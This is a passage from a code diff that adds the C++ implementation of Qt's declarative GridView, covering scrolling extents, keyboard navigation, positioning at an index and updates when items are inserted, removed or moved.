+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ QDeclarativeFlickable::setContentY(pos);
+}
+
+bool QDeclarativeGridView::event(QEvent *event)
+{
+ Q_D(QDeclarativeGridView);
+ if (event->type() == QEvent::User) {
+ if (d->layoutScheduled)
+ d->layout();
+ return true;
+ }
+
+ return QDeclarativeFlickable::event(event);
+}
+
+void QDeclarativeGridView::viewportMoved()
+{
+ Q_D(QDeclarativeGridView);
+ QDeclarativeFlickable::viewportMoved();
+ if (!d->itemCount)
+ return;
+ d->lazyRelease = true;
+ if (d->hData.flicking || d->vData.flicking) {
+ if (yflick()) {
+ if (d->vData.velocity > 0)
+ d->bufferMode = QDeclarativeGridViewPrivate::BufferBefore;
+ else if (d->vData.velocity < 0)
+ d->bufferMode = QDeclarativeGridViewPrivate::BufferAfter;
+ }
+
+ if (xflick()) {
+ if (d->hData.velocity > 0)
+ d->bufferMode = QDeclarativeGridViewPrivate::BufferBefore;
+ else if (d->hData.velocity < 0)
+ d->bufferMode = QDeclarativeGridViewPrivate::BufferAfter;
+ }
+ }
+ refill();
+ if (d->hData.flicking || d->vData.flicking || d->hData.moving || d->vData.moving)
+ d->moveReason = QDeclarativeGridViewPrivate::Mouse;
+ if (d->moveReason != QDeclarativeGridViewPrivate::SetIndex) {
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange && d->highlight) {
+ // reposition highlight
+ qreal pos = d->highlight->rowPos();
+ qreal viewPos;
+ qreal highlightStart;
+ qreal highlightEnd;
+ if (d->isRightToLeftTopToBottom()) {
+ highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd;
+ viewPos = -d->position()-d->size();
+ } else {
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ viewPos = d->position();
+ }
+ if (pos > viewPos + highlightEnd - d->rowSize())
+ pos = viewPos + highlightEnd - d->rowSize();
+ if (pos < viewPos + highlightStart)
+ pos = viewPos + highlightStart;
+
+ d->highlight->setPosition(d->highlight->colPos(), qRound(pos));
+
+ // update current index
+ int idx = d->snapIndex();
+ if (idx >= 0 && idx != d->currentIndex) {
+ d->updateCurrent(idx);
+ if (d->currentItem && d->currentItem->colPos() != d->highlight->colPos() && d->autoHighlight) {
+ if (d->flow == LeftToRight)
+ d->highlightXAnimator->to = d->currentItem->item->x();
+ else
+ d->highlightYAnimator->to = d->currentItem->item->y();
+ }
+ }
+ }
+ }
+}
+
+qreal QDeclarativeGridView::minYExtent() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->flow == QDeclarativeGridView::TopToBottom)
+ return QDeclarativeFlickable::minYExtent();
+ qreal extent = -d->startPosition();
+ if (d->header && d->visibleItems.count())
+ extent += d->header->item->height();
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ extent += d->highlightRangeStart;
+ extent = qMax(extent, -(d->rowPosAt(0) + d->rowSize() - d->highlightRangeEnd));
+ }
+ return extent;
+}
+
+qreal QDeclarativeGridView::maxYExtent() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->flow == QDeclarativeGridView::TopToBottom)
+ return QDeclarativeFlickable::maxYExtent();
+ qreal extent;
+ if (!d->model || !d->model->count()) {
+ extent = 0;
+ } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ extent = -(d->rowPosAt(d->model->count()-1) - d->highlightRangeStart);
+ if (d->highlightRangeEnd != d->highlightRangeStart)
+ extent = qMin(extent, -(d->endPosition() - d->highlightRangeEnd + 1));
+ } else {
+ extent = -(d->endPosition() - height());
+ }
+ if (d->footer)
+ extent -= d->footer->item->height();
+ const qreal minY = minYExtent();
+ if (extent > minY)
+ extent = minY;
+ return extent;
+}
+
+qreal QDeclarativeGridView::minXExtent() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->flow == QDeclarativeGridView::LeftToRight)
+ return QDeclarativeFlickable::minXExtent();
+ qreal extent = -d->startPosition();
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal endPositionFirstItem = 0;
+ if (d->isRightToLeftTopToBottom()) {
+ if (d->model && d->model->count())
+ endPositionFirstItem = d->rowPosAt(d->model->count()-1);
+ highlightStart = d->highlightRangeStartValid
+ ? d->highlightRangeStart - (d->lastPosition()-endPositionFirstItem)
+ : d->size() - (d->lastPosition()-endPositionFirstItem);
+ highlightEnd = d->highlightRangeEndValid ? d->highlightRangeEnd : d->size();
+ if (d->footer && d->visibleItems.count())
+ extent += d->footer->item->width();
+ } else {
+ endPositionFirstItem = d->rowPosAt(0)+d->rowSize();
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ if (d->header && d->visibleItems.count())
+ extent += d->header->item->width();
+ }
+ if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ extent += d->isRightToLeftTopToBottom() ? -highlightStart : highlightStart;
+ extent = qMax(extent, -(endPositionFirstItem - highlightEnd));
+ }
+ return extent;
+}
+
+qreal QDeclarativeGridView::maxXExtent() const
+{
+ Q_D(const QDeclarativeGridView);
+ if (d->flow == QDeclarativeGridView::LeftToRight)
+ return QDeclarativeFlickable::maxXExtent();
+ qreal extent;
+ qreal highlightStart;
+ qreal highlightEnd;
+ qreal lastItemPosition = 0;
+ if (d->isRightToLeftTopToBottom()){
+ highlightStart = d->highlightRangeStartValid ? d->highlightRangeEnd : d->size();
+ highlightEnd = d->highlightRangeEndValid ? d->highlightRangeStart : d->size();
+ lastItemPosition = d->endPosition();
+ } else {
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ lastItemPosition = 0;
+ if (d->model && d->model->count())
+ lastItemPosition = d->rowPosAt(d->model->count()-1);
+ }
+ if (!d->model || !d->model->count()) {
+ extent = 0;
+ } else if (d->haveHighlightRange && d->highlightRange == StrictlyEnforceRange) {
+ extent = -(lastItemPosition - highlightStart);
+ if (highlightEnd != highlightStart)
+ extent = d->isRightToLeftTopToBottom()
+ ? qMax(extent, -(d->endPosition() - highlightEnd + 1))
+ : qMin(extent, -(d->endPosition() - highlightEnd + 1));
+ } else {
+ extent = -(d->endPosition() - width());
+ }
+ if (d->isRightToLeftTopToBottom()) {
+ if (d->header)
+ extent -= d->header->item->width();
+ } else {
+ if (d->footer)
+ extent -= d->footer->item->width();
+ }
+
+ const qreal minX = minXExtent();
+ if (extent > minX)
+ extent = minX;
+ return extent;
+}
+
+void QDeclarativeGridView::keyPressEvent(QKeyEvent *event)
+{
+ Q_D(QDeclarativeGridView);
+ keyPressPreHandler(event);
+ if (event->isAccepted())
+ return;
+ if (d->model && d->model->count() && d->interactive) {
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ int oldCurrent = currentIndex();
+ switch (event->key()) {
+ case Qt::Key_Up:
+ moveCurrentIndexUp();
+ break;
+ case Qt::Key_Down:
+ moveCurrentIndexDown();
+ break;
+ case Qt::Key_Left:
+ moveCurrentIndexLeft();
+ break;
+ case Qt::Key_Right:
+ moveCurrentIndexRight();
+ break;
+ default:
+ break;
+ }
+ if (oldCurrent != currentIndex()) {
+ event->accept();
+ return;
+ }
+ }
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ event->ignore();
+ QDeclarativeFlickable::keyPressEvent(event);
+}
+
+/*!
+ \qmlmethod GridView::moveCurrentIndexUp()
+
+ Move the currentIndex up one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeGridView::moveCurrentIndexUp()
+{
+ Q_D(QDeclarativeGridView);
+ const int count = d->model ? d->model->count() : 0;
+ if (!count)
+ return;
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() >= d->columns || d->wrap) {
+ int index = currentIndex() - d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ } else {
+ if (currentIndex() > 0 || d->wrap) {
+ int index = currentIndex() - 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ }
+}
+
+/*!
+ \qmlmethod GridView::moveCurrentIndexDown()
+
+ Move the currentIndex down one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeGridView::moveCurrentIndexDown()
+{
+ Q_D(QDeclarativeGridView);
+ const int count = d->model ? d->model->count() : 0;
+ if (!count)
+ return;
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() < count - d->columns || d->wrap) {
+ int index = currentIndex()+d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ } else {
+ if (currentIndex() < count - 1 || d->wrap) {
+ int index = currentIndex() + 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ }
+}
+
+/*!
+ \qmlmethod GridView::moveCurrentIndexLeft()
+
+ Move the currentIndex left one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeGridView::moveCurrentIndexLeft()
+{
+ Q_D(QDeclarativeGridView);
+ const int count = d->model ? d->model->count() : 0;
+ if (!count)
+ return;
+
+ if (effectiveLayoutDirection() == Qt::LeftToRight) {
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() > 0 || d->wrap) {
+ int index = currentIndex() - 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ } else {
+ if (currentIndex() >= d->columns || d->wrap) {
+ int index = currentIndex() - d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ }
+ } else {
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() < count - 1 || d->wrap) {
+ int index = currentIndex() + 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ } else {
+ if (currentIndex() < count - d->columns || d->wrap) {
+ int index = currentIndex() + d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ }
+ }
+}
+
+/*!
+ \qmlmethod GridView::moveCurrentIndexRight()
+
+ Move the currentIndex right one item in the view.
+ The current index will wrap if keyNavigationWraps is true and it
+ is currently at the end. This method has no effect if the \l count is zero.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+void QDeclarativeGridView::moveCurrentIndexRight()
+{
+ Q_D(QDeclarativeGridView);
+ const int count = d->model ? d->model->count() : 0;
+ if (!count)
+ return;
+
+ if (effectiveLayoutDirection() == Qt::LeftToRight) {
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() < count - 1 || d->wrap) {
+ int index = currentIndex() + 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ } else {
+ if (currentIndex() < count - d->columns || d->wrap) {
+ int index = currentIndex()+d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : 0);
+ }
+ }
+ } else {
+ if (d->flow == QDeclarativeGridView::LeftToRight) {
+ if (currentIndex() > 0 || d->wrap) {
+ int index = currentIndex() - 1;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ } else {
+ if (currentIndex() >= d->columns || d->wrap) {
+ int index = currentIndex() - d->columns;
+ setCurrentIndex((index >= 0 && index < count) ? index : count-1);
+ }
+ }
+ }
+}
+
+void QDeclarativeGridViewPrivate::positionViewAtIndex(int index, int mode)
+{
+ Q_Q(QDeclarativeGridView);
+ if (!isValid())
+ return;
+ if (mode < QDeclarativeGridView::Beginning || mode > QDeclarativeGridView::Contain)
+ return;
+
+ int idx = qMax(qMin(index, model->count()-1), 0);
+
+ if (layoutScheduled)
+ layout();
+ qreal pos = isRightToLeftTopToBottom() ? -position() - size() : position();
+ FxGridItem *item = visibleItem(idx);
+ qreal maxExtent;
+ if (flow == QDeclarativeGridView::LeftToRight)
+ maxExtent = -q->maxYExtent();
+ else
+ maxExtent = isRightToLeftTopToBottom() ? q->minXExtent()-size() : -q->maxXExtent();
+
+ if (!item) {
+ int itemPos = rowPosAt(idx);
+ // save the currently visible items in case any of them end up visible again
+ QList<FxGridItem*> oldVisible = visibleItems;
+ visibleItems.clear();
+ visibleIndex = idx - idx % columns;
+ if (flow == QDeclarativeGridView::LeftToRight)
+ maxExtent = -q->maxYExtent();
+ else
+ maxExtent = isRightToLeftTopToBottom() ? q->minXExtent()-size() : -q->maxXExtent();
+ setPosition(qMin(qreal(itemPos), maxExtent));
+ // now release the reference to all the old visible items.
+ for (int i = 0; i < oldVisible.count(); ++i)
+ releaseItem(oldVisible.at(i));
+ item = visibleItem(idx);
+ }
+ if (item) {
+ qreal itemPos = item->rowPos();
+ switch (mode) {
+ case QDeclarativeGridView::Beginning:
+ pos = itemPos;
+ if (index < 0 && header) {
+ pos -= flow == QDeclarativeGridView::LeftToRight
+ ? header->item->height()
+ : header->item->width();
+ }
+ break;
+ case QDeclarativeGridView::Center:
+ pos = itemPos - (size() - rowSize())/2;
+ break;
+ case QDeclarativeGridView::End:
+ pos = itemPos - size() + rowSize();
+ if (index >= model->count() && footer) {
+ pos += flow == QDeclarativeGridView::LeftToRight
+ ? footer->item->height()
+ : footer->item->width();
+ }
+ break;
+ case QDeclarativeGridView::Visible:
+ if (itemPos > pos + size())
+ pos = itemPos - size() + rowSize();
+ else if (item->endRowPos() < pos)
+ pos = itemPos;
+ break;
+ case QDeclarativeGridView::Contain:
+ if (item->endRowPos() > pos + size())
+ pos = itemPos - size() + rowSize();
+ if (itemPos < pos)
+ pos = itemPos;
+ }
+
+ pos = qMin(pos, maxExtent);
+ qreal minExtent;
+ if (flow == QDeclarativeGridView::LeftToRight)
+ minExtent = -q->minYExtent();
+ else
+ minExtent = isRightToLeftTopToBottom() ? q->maxXExtent()-size() : -q->minXExtent();
+ pos = qMax(pos, minExtent);
+ moveReason = QDeclarativeGridViewPrivate::Other;
+ q->cancelFlick();
+ setPosition(pos);
+ }
+ fixupPosition();
+}
+
+/*!
+ \qmlmethod GridView::positionViewAtIndex(int index, PositionMode mode)
+
+ Positions the view such that the \a index is at the position specified by
+ \a mode:
+
+ \list
+ \o GridView.Beginning - position item at the top (or left for \c GridView.TopToBottom flow) of the view.
+ \o GridView.Center - position item in the center of the view.
+ \o GridView.End - position item at bottom (or right for horizontal orientation) of the view.
+ \o GridView.Visible - if any part of the item is visible then take no action, otherwise
+ bring the item into view.
+ \o GridView.Contain - ensure the entire item is visible. If the item is larger than
+ the view the item is positioned at the top (or left for \c GridView.TopToBottom flow) of the view.
+ \endlist
+
+ If positioning the view at the index would cause empty space to be displayed at
+ the beginning or end of the view, the view will be positioned at the boundary.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the view does not cause all other items to be repositioned.
+ The correct way to bring an item into view is with \c positionViewAtIndex.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end:
+
+ \code
+ Component.onCompleted: positionViewAtIndex(count - 1, GridView.Beginning)
+ \endcode
+*/
+void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->isValid() || index < 0 || index >= d->model->count())
+ return;
+ d->positionViewAtIndex(index, mode);
+}
+
+/*!
+ \qmlmethod GridView::positionViewAtBeginning()
+ \qmlmethod GridView::positionViewAtEnd()
+ \since QtQuick 1.1
+
+ Positions the view at the beginning or end, taking into account any header or footer.
+
+ It is not recommended to use \l {Flickable::}{contentX} or \l {Flickable::}{contentY} to position the view
+ at a particular index. This is unreliable since removing items from the start
+ of the list does not cause all other items to be repositioned, and because
+ the actual start of the view can vary based on the size of the delegates.
+
+ \bold Note: methods should only be called after the Component has completed. To position
+ the view at startup, this method should be called by Component.onCompleted. For
+ example, to position the view at the end on startup:
+
+ \code
+ Component.onCompleted: positionViewAtEnd()
+ \endcode
+*/
+void QDeclarativeGridView::positionViewAtBeginning()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(-1, Beginning);
+}
+
+void QDeclarativeGridView::positionViewAtEnd()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->isValid())
+ return;
+ d->positionViewAtIndex(d->model->count(), End);
+}
+
+/*!
+ \qmlmethod int GridView::indexAt(int x, int y)
+
+ Returns the index of the visible item containing the point \a x, \a y in content
+ coordinates. If there is no item at the point specified, or the item is
+ not visible -1 is returned.
+
+ If the item is outside the visible area, -1 is returned, regardless of
+ whether an item will exist at that point when scrolled into view.
+
+ \bold Note: methods should only be called after the Component has completed.
+*/
+int QDeclarativeGridView::indexAt(qreal x, qreal y) const
+{
+ Q_D(const QDeclarativeGridView);
+ for (int i = 0; i < d->visibleItems.count(); ++i) {
+ const FxGridItem *listItem = d->visibleItems.at(i);
+ if(listItem->contains(x, y))
+ return listItem->index;
+ }
+
+ return -1;
+}
+
+void QDeclarativeGridView::componentComplete()
+{
+ Q_D(QDeclarativeGridView);
+ QDeclarativeFlickable::componentComplete();
+ d->updateHeader();
+ d->updateFooter();
+ d->updateGrid();
+ if (d->isValid()) {
+ refill();
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ if (d->currentIndex < 0 && !d->currentIndexCleared)
+ d->updateCurrent(0);
+ else
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
+ d->highlight->setPosition(d->currentItem->colPos(), d->currentItem->rowPos());
+ d->updateTrackedItem();
+ }
+ d->moveReason = QDeclarativeGridViewPrivate::Other;
+ d->fixupPosition();
+ }
+}
+
+void QDeclarativeGridView::trackedPositionChanged()
+{
+ Q_D(QDeclarativeGridView);
+ if (!d->trackedItem || !d->currentItem)
+ return;
+ if (d->moveReason == QDeclarativeGridViewPrivate::SetIndex) {
+ const qreal trackedPos = d->trackedItem->rowPos();
+ qreal viewPos;
+ qreal highlightStart;
+ qreal highlightEnd;
+ if (d->isRightToLeftTopToBottom()) {
+ viewPos = -d->position()-d->size();
+ highlightStart = d->highlightRangeStartValid ? d->size()-d->highlightRangeEnd : d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEndValid ? d->size()-d->highlightRangeStart : d->highlightRangeEnd;
+ } else {
+ viewPos = d->position();
+ highlightStart = d->highlightRangeStart;
+ highlightEnd = d->highlightRangeEnd;
+ }
+ qreal pos = viewPos;
+ if (d->haveHighlightRange) {
+ if (d->highlightRange == StrictlyEnforceRange) {
+ if (trackedPos > pos + highlightEnd - d->rowSize())
+ pos = trackedPos - highlightEnd + d->rowSize();
+ if (trackedPos < pos + highlightStart)
+ pos = trackedPos - highlightStart;
+ } else {
+ if (trackedPos < d->startPosition() + highlightStart) {
+ pos = d->startPosition();
+ } else if (d->trackedItem->endRowPos() > d->endPosition() - d->size() + highlightEnd) {
+ pos = d->endPosition() - d->size() + 1;
+ if (pos < d->startPosition())
+ pos = d->startPosition();
+ } else {
+ if (trackedPos < viewPos + highlightStart) {
+ pos = trackedPos - highlightStart;
+ } else if (trackedPos > viewPos + highlightEnd - d->rowSize()) {
+ pos = trackedPos - highlightEnd + d->rowSize();
+ }
+ }
+ }
+ } else {
+ if (trackedPos < viewPos && d->currentItem->rowPos() < viewPos) {
+ pos = qMax(trackedPos, d->currentItem->rowPos());
+ } else if (d->trackedItem->endRowPos() >= viewPos + d->size()
+ && d->currentItem->endRowPos() >= viewPos + d->size()) {
+ if (d->trackedItem->endRowPos() <= d->currentItem->endRowPos()) {
+ pos = d->trackedItem->endRowPos() - d->size() + 1;
+ if (d->rowSize() > d->size())
+ pos = trackedPos;
+ } else {
+ pos = d->currentItem->endRowPos() - d->size() + 1;
+ if (d->rowSize() > d->size())
+ pos = d->currentItem->rowPos();
+ }
+ }
+ }
+ if (viewPos != pos) {
+ cancelFlick();
+ d->calcVelocity = true;
+ d->setPosition(pos);
+ d->calcVelocity = false;
+ }
+ }
+}
+
+void QDeclarativeGridView::itemsInserted(int modelIndex, int count)
+{
+ Q_D(QDeclarativeGridView);
+ if (!isComponentComplete())
+ return;
+
+ int index = d->visibleItems.count() ? d->mapFromModel(modelIndex) : 0;
+ if (index < 0) {
+ int i = d->visibleItems.count() - 1;
+ while (i > 0 && d->visibleItems.at(i)->index == -1)
+ --i;
+ if (d->visibleItems.at(i)->index + 1 == modelIndex) {
+ // Special case of appending an item to the model.
+ index = d->visibleIndex + d->visibleItems.count();
+ } else {
+ if (modelIndex <= d->visibleIndex) {
+ // Insert before visible items
+ d->visibleIndex += count;
+ for (int i = 0; i < d->visibleItems.count(); ++i) {
+ FxGridItem *listItem = d->visibleItems.at(i);
+ if (listItem->index != -1 && listItem->index >= modelIndex)
+ listItem->index += count;
+ }
+ }
+ if (d->currentIndex >= modelIndex) {
+ // adjust current item index
+ d->currentIndex += count;
+ if (d->currentItem)
+ d->currentItem->index = d->currentIndex;
+ emit currentIndexChanged();
+ }
+ d->scheduleLayout();
+ d->itemCount += count;
+ emit countChanged();
+ return;
+ }
+ }
+
+ int insertCount = count;
+ if (index < d->visibleIndex && d->visibleItems.count()) {
+ insertCount -= d->visibleIndex - index;
+ index = d->visibleIndex;
+ modelIndex = d->visibleIndex;
+ }
+
+ qreal tempPos = d->isRightToLeftTopToBottom() ? -d->position()-d->size()+d->width()+1 : d->position();
+ int to = d->buffer+tempPos+d->size()-1;
+ int colPos = 0;
+ int rowPos = 0;
+ if (d->visibleItems.count()) {
+ index -= d->visibleIndex;
+ if (index < d->visibleItems.count()) {
+ colPos = d->visibleItems.at(index)->colPos();
+ rowPos = d->visibleItems.at(index)->rowPos();
+ } else {
+ // appending items to visible list
+ colPos = d->visibleItems.at(index-1)->colPos() + d->colSize();
+ rowPos = d->visibleItems.at(index-1)->rowPos();
+ if (colPos > d->colSize() * (d->columns-1)) {
+ colPos = 0;
+ rowPos += d->rowSize();
+ }
+ }
+ } else if (d->itemCount == 0 && d->header) {
+ rowPos = d->headerSize();
+ }
+
+ // Update the indexes of the following visible items.
+ for (int i = 0; i < d->visibleItems.count(); ++i) {
+ FxGridItem *listItem = d->visibleItems.at(i);
+ if (listItem->index != -1 && listItem->index >= modelIndex)
+ listItem->index += count;
+ }
+
+ bool addedVisible = false;
+ QList<FxGridItem*> added;
+ int i = 0;
+ while (i < insertCount && rowPos <= to + d->rowSize()*(d->columns - (colPos/d->colSize()))/qreal(d->columns)) {
+ if (!addedVisible) {
+ d->scheduleLayout();
+ addedVisible = true;
+ }
+ FxGridItem *item = d->createItem(modelIndex + i);
+ if (!item) {
+ // broken or no delegate
+ d->clear();
+ return;
+ }
+ d->visibleItems.insert(index, item);
+ item->setPosition(colPos, rowPos);
+ added.append(item);
+ colPos += d->colSize();
+ if (colPos > d->colSize() * (d->columns-1)) {
+ colPos = 0;
+ rowPos += d->rowSize();
+ }
+ ++index;
+ ++i;
+ }
+ if (i < insertCount) {
+ // We didn't insert all our new items, which means anything
+ // beyond the current index is not visible - remove it.
+ while (d->visibleItems.count() > index) {
+ d->releaseItem(d->visibleItems.takeLast());
+ }
+ }
+
+ // update visibleIndex
+ d->visibleIndex = 0;
+ for (QList<FxGridItem*>::Iterator it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) {
+ if ((*it)->index != -1) {
+ d->visibleIndex = (*it)->index;
+ break;
+ }
+ }
+
+ if (d->itemCount && d->currentIndex >= modelIndex) {
+ // adjust current item index
+ d->currentIndex += count;
+ if (d->currentItem) {
+ d->currentItem->index = d->currentIndex;
+ d->currentItem->setPosition(d->colPosAt(d->currentIndex), d->rowPosAt(d->currentIndex));
+ }
+ emit currentIndexChanged();
+ } else if (d->itemCount == 0 && (!d->currentIndex || (d->currentIndex < 0 && !d->currentIndexCleared))) {
+ setCurrentIndex(0);
+ }
+
+ // everything is in order now - emit add() signal
+ for (int j = 0; j < added.count(); ++j)
+ added.at(j)->attached->emitAdd();
+
+ d->itemCount += count;
+ emit countChanged();
+}
+
+void QDeclarativeGridView::itemsRemoved(int modelIndex, int count)
+{
+ Q_D(QDeclarativeGridView);
+ if (!isComponentComplete())
+ return;
+
+ d->itemCount -= count;
+ bool currentRemoved = d->currentIndex >= modelIndex && d->currentIndex < modelIndex + count;
+ bool removedVisible = false;
+ // Remove the items from the visible list, skipping anything already marked for removal
+ QList<FxGridItem*>::Iterator it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxGridItem *item = *it;
+ if (item->index == -1 || item->index < modelIndex) {
+ // already removed, or before removed items
+ if (item->index < modelIndex && !removedVisible) {
+ d->scheduleLayout();
+ removedVisible = true;
+ }
+ ++it;
+ } else if (item->index >= modelIndex + count) {
+ // after removed items
+ item->index -= count;
+ ++it;
+ } else {
+ // removed item
+ if (!removedVisible) {
+ d->scheduleLayout();
+ removedVisible = true;
+ }
+ item->attached->emitRemove();
+ if (item->attached->delayRemove()) {
+ item->index = -1;
+ connect(item->attached, SIGNAL(delayRemoveChanged()), this, SLOT(destroyRemoved()), Qt::QueuedConnection);
+ ++it;
+ } else {
+ it = d->visibleItems.erase(it);
+ d->releaseItem(item);
+ }
+ }
+ }
+
+ // If we removed items before visible items a layout may be
+ // required to ensure item 0 is in the first column.
+ if (!removedVisible && modelIndex < d->visibleIndex)
+ d->scheduleLayout();
+
+ // fix current
+ if (d->currentIndex >= modelIndex + count) {
+ d->currentIndex -= count;
+ if (d->currentItem)
+ d->currentItem->index -= count;
+ emit currentIndexChanged();
+ } else if (currentRemoved) {
+ // current item has been removed.
+ d->releaseItem(d->currentItem);
+ d->currentItem = 0;
+ d->currentIndex = -1;
+ if (d->itemCount)
+ d->updateCurrent(qMin(modelIndex, d->itemCount-1));
+ else
+ emit currentIndexChanged();
+ }
+
+ // update visibleIndex
+ d->visibleIndex = 0;
+ for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) {
+ if ((*it)->index != -1) {
+ d->visibleIndex = (*it)->index;
+ break;
+ }
+ }
+
+ if (removedVisible && d->visibleItems.isEmpty()) {
+ d->timeline.clear();
+ if (d->itemCount == 0) {
+ d->setPosition(0);
+ d->updateHeader();
+ d->updateFooter();
+ update();
+ }
+ }
+
+ emit countChanged();
+}
+
+void QDeclarativeGridView::destroyRemoved()
+{
+ Q_D(QDeclarativeGridView);
+ for (QList<FxGridItem*>::Iterator it = d->visibleItems.begin();
+ it != d->visibleItems.end();) {
+ FxGridItem *listItem = *it;
+ if (listItem->index == -1 && listItem->attached->delayRemove() == false) {
+ d->releaseItem(listItem);
+ it = d->visibleItems.erase(it);
+ } else {
+ ++it;
+ }
+ }
+
+ // Correct the positioning of the items
+ d->layout();
+}
+
+void QDeclarativeGridView::itemsMoved(int from, int to, int count)
+{
+ Q_D(QDeclarativeGridView);
+ if (!isComponentComplete())
+ return;
+ QHash<int,FxGridItem*> moved;
+
+ FxGridItem *firstItem = d->firstVisibleItem();
+
+ QList<FxGridItem*>::Iterator it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxGridItem *item = *it;
+ if (item->index >= from && item->index < from + count) {
+ // take the items that are moving
+ item->index += (to-from);
+ moved.insert(item->index, item);
+ it = d->visibleItems.erase(it);
+ } else {
+ if (item->index > from && item->index != -1) {
+ // move everything after the moved items.
+ item->index -= count;
+ if (item->index < d->visibleIndex)
+ d->visibleIndex = item->index;
+ }
+ ++it;
+ }
+ }
+
+ int remaining = count;
+ int endIndex = d->visibleIndex;
+ it = d->visibleItems.begin();
+ while (it != d->visibleItems.end()) {
+ FxGridItem *item = *it;
+ if (remaining && item->index >= to && item->index < to + count) {
+ // place items in the target position, reusing any existing items
+ FxGridItem *movedItem = moved.take(item->index);
+ if (!movedItem)
+ movedItem = d->createItem(item->index);
+ if (!movedItem) {
+ // broken or no delegate
+ d->clear();
+ return;
+ }
+ it = d->visibleItems.insert(it, movedItem);
+ if (it == d->visibleItems.begin() && firstItem)
+ movedItem->setPosition(firstItem->colPos(), firstItem->rowPos());
+ ++it;
+ --remaining;
+ } else {
+ if (item->index != -1) {
+ if (item->index >= to) {
+ // update everything after the moved items.
+ item->index += count;
+ }
+ endIndex = item->index;
+ }
+ ++it;
+ }
+ }
+
+ // If we have moved items to the end of the visible items
+ // then add any existing moved items that we have
+ while (FxGridItem *item = moved.take(endIndex+1)) {
+ d->visibleItems.append(item);
+ ++endIndex;
+ }
+
+ // update visibleIndex
+ for (it = d->visibleItems.begin(); it != d->visibleItems.end(); ++it) {
+ if ((*it)->index != -1) {
+ d->visibleIndex = (*it)->index;
+ break;
+ }
+ }
+
+ // Fix current index
+ if (d->currentIndex >= 0 && d->currentItem) {
+ int oldCurrent = d->currentIndex;
+ d->currentIndex = d->model->indexOf(d->currentItem->item, this);
+ if (oldCurrent != d->currentIndex) {
+ d->currentItem->index = d->currentIndex;
+ emit currentIndexChanged();
+ }
+ }
+
+ // Whatever moved items remain are no longer visible items.
+ while (moved.count()) {
+ int idx = moved.begin().key();
+ FxGridItem *item = moved.take(idx);
+ if (d->currentItem && item->item == d->currentItem->item)
+ item->setPosition(d->colPosAt(idx), d->rowPosAt(idx));
+ d->releaseItem(item);
+ }
+
+ d->layout();
+}
+
+void QDeclarativeGridView::modelReset()
+{
+ Q_D(QDeclarativeGridView);
+ d->clear();
+ refill();
+ d->moveReason = QDeclarativeGridViewPrivate::SetIndex;
+ d->updateCurrent(d->currentIndex);
+ if (d->highlight && d->currentItem) {
+ if (d->autoHighlight)
